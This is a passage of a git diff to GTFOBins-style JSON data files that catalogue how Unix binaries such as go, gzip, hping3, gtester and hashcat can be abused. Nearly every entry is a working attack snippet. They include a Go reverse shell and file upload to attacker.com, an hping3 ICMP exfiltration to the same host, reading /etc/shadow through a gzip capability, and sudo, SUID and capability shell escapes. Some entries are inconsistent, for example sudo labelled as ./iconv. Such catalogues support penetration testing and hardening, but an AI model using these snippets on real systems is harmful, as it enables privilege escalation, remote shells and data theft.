"code": "export RHOST=attacker.com\nexport RPORT=12345\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"net\"\n \"os\"\n \"os/exec\"\n)\n\nfunc main() {\n c, _ := net.Dial(\"tcp\", os.Getenv(\"RHOST\")+\":\"+os.Getenv(\"RPORT\"))\n cmd := exec.Command(\"/bin/sh\")\n cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c\n cmd.Run()\n}\nEOF\ngo run main.go\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-upload": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Send local file via HTTP POST request.",
|
|
18
|
+
"code": "export URL=http://attacker.com/upload\nexport LFILE=file_to_send\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"bytes\"\n \"net/http\"\n \"os\"\n)\n\nfunc main() {\n data, _ := os.ReadFile(os.Getenv(\"LFILE\"))\n http.Post(os.Getenv(\"URL\"), \"application/octet-stream\", bytes.NewReader(data))\n}\nEOF\ngo run main.go\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"file-download": [
|
|
22
|
+
{
|
|
23
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
24
|
+
"code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"io\"\n \"net/http\"\n \"os\"\n)\n\nfunc main() {\n r, _ := http.Get(os.Getenv(\"URL\"))\n defer r.Body.Close()\n f, _ := os.Create(os.Getenv(\"LFILE\"))\n defer f.Close()\n io.Copy(f, r.Body)\n}\nEOF\ngo run main.go\n"
|
|
25
|
+
}
|
|
26
|
+
],
|
|
27
|
+
"file-write": [
|
|
28
|
+
{
|
|
29
|
+
"description": "",
|
|
30
|
+
"code": "cat > main.go << 'EOF'\npackage main\n\nimport \"os\"\n\nfunc main() {\n os.WriteFile(\"file_to_write\", []byte(\"DATA\"), 0644)\n}\nEOF\ngo run main.go\n"
|
|
31
|
+
}
|
|
32
|
+
],
|
|
33
|
+
"file-read": [
|
|
34
|
+
{
|
|
35
|
+
"description": "",
|
|
36
|
+
"code": "export LFILE=file_to_read\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"fmt\"\n \"os\"\n)\n\nfunc main() {\n data, _ := os.ReadFile(os.Getenv(\"LFILE\"))\n fmt.Print(string(data))\n}\nEOF\ngo run main.go\n"
|
|
37
|
+
}
|
|
38
|
+
],
|
|
39
|
+
"suid": [
|
|
40
|
+
{
|
|
41
|
+
"description": "",
|
|
42
|
+
"code": "./go run main.go\n# with the `main.go` containing:\n# os/exec to spawn sh with -p\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"os\"\n \"os/exec\"\n)\n\nfunc main() {\n cmd := exec.Command(\"/bin/sh\", \"-p\")\n cmd.Stdin = os.Stdin\n cmd.Stdout = os.Stdout\n cmd.Stderr = os.Stderr\n cmd.Run()\n}\nEOF\n./go run main.go\n"
|
|
43
|
+
}
|
|
44
|
+
],
|
|
45
|
+
"sudo": [
|
|
46
|
+
{
|
|
47
|
+
"description": "",
|
|
48
|
+
"code": "sudo go run main.go\n# with main.go containing:\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"os\"\n \"os/exec\"\n)\n\nfunc main() {\n cmd := exec.Command(\"/bin/sh\")\n cmd.Stdin, cmd.Stdout, cmd.Stderr = os.Stdin, os.Stdout, os.Stderr\n cmd.Run()\n}\nEOF\nsudo go run main.go\n"
|
|
49
|
+
}
|
|
50
|
+
],
|
|
51
|
+
"capabilities": [
|
|
52
|
+
{
|
|
53
|
+
"description": "",
|
|
54
|
+
"code": "./go run main.go\n# binary must have CAP_SETUID set\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"os\"\n \"os/exec\"\n \"syscall\"\n)\n\nfunc main() {\n syscall.Setuid(0)\n cmd := exec.Command(\"/bin/sh\")\n cmd.Stdin, cmd.Stdout, cmd.Stderr = os.Stdin, os.Stdout, os.Stderr\n cmd.Run()\n}\nEOF\n./go run main.go\n"
|
|
55
|
+
}
|
|
56
|
+
]
|
|
57
|
+
}
|
|
58
|
+
}
|
gtfo/data/grc.json
ADDED
gtfo/data/grep.json
CHANGED
|
@@ -1,20 +1,22 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "There are many 'grep' flavors that in many cases are just copies, symlinks or wrappers around the original binary that may share the same behavior, for example: 'egrep', 'fgrep', 'zgrep', etc.\n",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\ngrep '' $LFILE\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./grep '' $LFILE\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo grep '' $LFILE\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
|
20
|
-
}
|
|
22
|
+
}
|
gtfo/data/gtester.json
CHANGED
|
@@ -1,19 +1,28 @@
|
|
|
1
1
|
{
|
|
2
2
|
"functions": {
|
|
3
|
+
"file-write": [
|
|
4
|
+
{
|
|
5
|
+
"description": "Data to be written appears in an XML attribute in the output file (`<testbinary path=\"DATA\">`).",
|
|
6
|
+
"code": "LFILE=file_to_write\ngtester \"DATA\" -o $LFILE\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
3
9
|
"shell": [
|
|
4
10
|
{
|
|
11
|
+
|
|
5
12
|
"code": "TF=$(mktemp)\necho '#!/bin/sh' > $TF\necho 'exec /bin/sh -p 0<&1' >> $TF\nchmod +x $TF\ngtester -q $TF\n"
|
|
6
13
|
}
|
|
7
14
|
],
|
|
8
15
|
"sudo": [
|
|
9
16
|
{
|
|
17
|
+
|
|
10
18
|
"code": "TF=$(mktemp)\necho '#!/bin/sh' > $TF\necho 'exec /bin/sh 0<&1' >> $TF\nchmod +x $TF\nsudo gtester -q $TF\n"
|
|
11
19
|
}
|
|
12
20
|
],
|
|
13
21
|
"suid": [
|
|
14
22
|
{
|
|
23
|
+
|
|
15
24
|
"code": "TF=$(mktemp)\necho '#!/bin/sh -p' > $TF\necho 'exec /bin/sh -p 0<&1' >> $TF\nchmod +x $TF\nsudo gtester -q $TF\n"
|
|
16
25
|
}
|
|
17
26
|
]
|
|
18
27
|
}
|
|
19
|
-
}
|
|
28
|
+
}
|
gtfo/data/guile.json
ADDED
gtfo/data/gzip.json
CHANGED
|
@@ -1,22 +1,31 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "There are also a number of other utilities that rely on 'gzip' under the hood, e.g., 'zless', 'zcat', 'gunzip', etc. Besides having similar features, they also allow privileged reads if 'gzip' itself is SUID.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\ngzip -f $LFILE -t\n"
|
|
7
7
|
},
|
|
8
8
|
{
|
|
9
|
-
|
|
9
|
+
|
|
10
|
+
"code": "LFILE=file_to_read\ngzip -c $LFILE | gzip -d\n"
|
|
10
11
|
}
|
|
11
12
|
],
|
|
12
13
|
"suid": [
|
|
13
14
|
{
|
|
14
|
-
|
|
15
|
+
|
|
16
|
+
"code": "LFILE=file_to_read\n./gzip -f $LFILE -t\n"
|
|
15
17
|
}
|
|
16
18
|
],
|
|
17
19
|
"sudo": [
|
|
18
20
|
{
|
|
19
|
-
|
|
21
|
+
|
|
22
|
+
"code": "LFILE=file_to_read\nsudo gzip -f $LFILE -t\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"capabilities": [
|
|
26
|
+
{
|
|
27
|
+
"description": "If cap_dac_read_search is set. Run ``getcap -r / 2>/dev/null`` to confirm ``/usr/bin/gzip cap_dac_read_search=ep``",
|
|
28
|
+
"code": "gzip can read any file:\ngzip -c /etc/shadow > /tmp/shadow.gz\ngzip -d /tmp/shadow.gz\ncat /tmp/shadow\n"
|
|
20
29
|
}
|
|
21
30
|
]
|
|
22
31
|
}
|
gtfo/data/hashcat.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-write": [
|
|
4
|
+
{
|
|
5
|
+
"description": "",
|
|
6
|
+
"code": "LFILE=file_to_write\necho -n \"DATA\" > wordlist && echo -n \"DATA\" | md5sum | awk '{print $1}' > hash\nhashcat -m 0 -a 0 --quiet --potfile-disable -o \"$LFILE\" --outfile-format=2 --outfile-autohex-disable hash wordlist\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"description": "",
|
|
12
|
+
"code": "LFILE=file_to_write\necho -n \"DATA\" > wordlist && echo -n \"DATA\" | md5sum | awk '{print $1}' > hash\nsudo hashcat -m 0 -a 0 --quiet --potfile-disable -o \"$LFILE\" --outfile-format=2 --outfile-autohex-disable hash wordlist\n"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/hd.json
CHANGED
|
@@ -1,20 +1,22 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "The output is a hex dump.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nhd \"$LFILE\"\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./hd \"$LFILE\"\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo hd \"$LFILE\"\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
|
20
|
-
}
|
|
22
|
+
}
|
gtfo/data/head.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"file-read": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nhead -c1G \"$LFILE\"\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./head -c1G \"$LFILE\"\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo head -c1G \"$LFILE\"\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/hexdump.json
CHANGED
|
@@ -1,20 +1,22 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "The output is a hex dump.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nhexdump -C \"$LFILE\"\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./hexdump -C \"$LFILE\"\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo hexdump -C \"$LFILE\"\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
|
20
|
-
}
|
|
22
|
+
}
|
gtfo/data/hg.json
ADDED
gtfo/data/highlight.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"file-read": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nhighlight --no-doc --failsafe \"$LFILE\"\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./highlight --no-doc --failsafe \"$LFILE\"\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo highlight --no-doc --failsafe \"$LFILE\"\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/hping3.json
CHANGED
|
@@ -2,17 +2,24 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "hping3\n/bin/sh\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
11
|
+
|
|
10
12
|
"code": "./hping3\n/bin/sh -p\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
17
|
+
|
|
15
18
|
"code": "sudo hping3\n/bin/sh\n"
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
"description": "The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:\n\n```\nsudo hping3 --icmp --listen xxx --dump\n```\n",
|
|
22
|
+
"code": "RHOST=attacker.com\nLFILE=file_to_read\nsudo hping3 \"$RHOST\" --icmp --data 500 --sign xxx --file \"$LFILE\"\n"
|
|
16
23
|
}
|
|
17
24
|
]
|
|
18
25
|
}
|
gtfo/data/iconv.json
CHANGED
|
@@ -1,25 +1,28 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "The '8859_1' encoding is used as it accepts any single-byte sequence, thus it allows to read/write arbitrary files. Other encoding combinations may corrupt the result.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-write": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_write\necho \"DATA\" | iconv -f 8859_1 -t 8859_1 -o \"$LFILE\"\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"file-read": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\niconv -f 8859_1 -t 8859_1 \"$LFILE\"\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"suid": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 \"$LFILE\"\n"
|
|
17
19
|
}
|
|
18
20
|
],
|
|
19
21
|
"sudo": [
|
|
20
22
|
{
|
|
21
|
-
|
|
23
|
+
|
|
24
|
+
"code": "LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 \"$LFILE\"\n"
|
|
22
25
|
}
|
|
23
26
|
]
|
|
24
27
|
}
|
|
25
|
-
}
|
|
28
|
+
}
|
gtfo/data/iftop.json
CHANGED
|
@@ -1,18 +1,20 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "This requires 'iftop' 0.17 and the privilege to capture on some device (specify with '-i' if needed) .",
|
|
3
2
|
"functions": {
|
|
4
3
|
"shell": [
|
|
5
4
|
{
|
|
5
|
+
|
|
6
6
|
"code": "iftop\n!/bin/sh\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"limited-suid": [
|
|
10
10
|
{
|
|
11
|
+
|
|
11
12
|
"code": "./iftop\n!/bin/sh\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
17
|
+
|
|
16
18
|
"code": "sudo iftop\n!/bin/sh\n"
|
|
17
19
|
}
|
|
18
20
|
]
|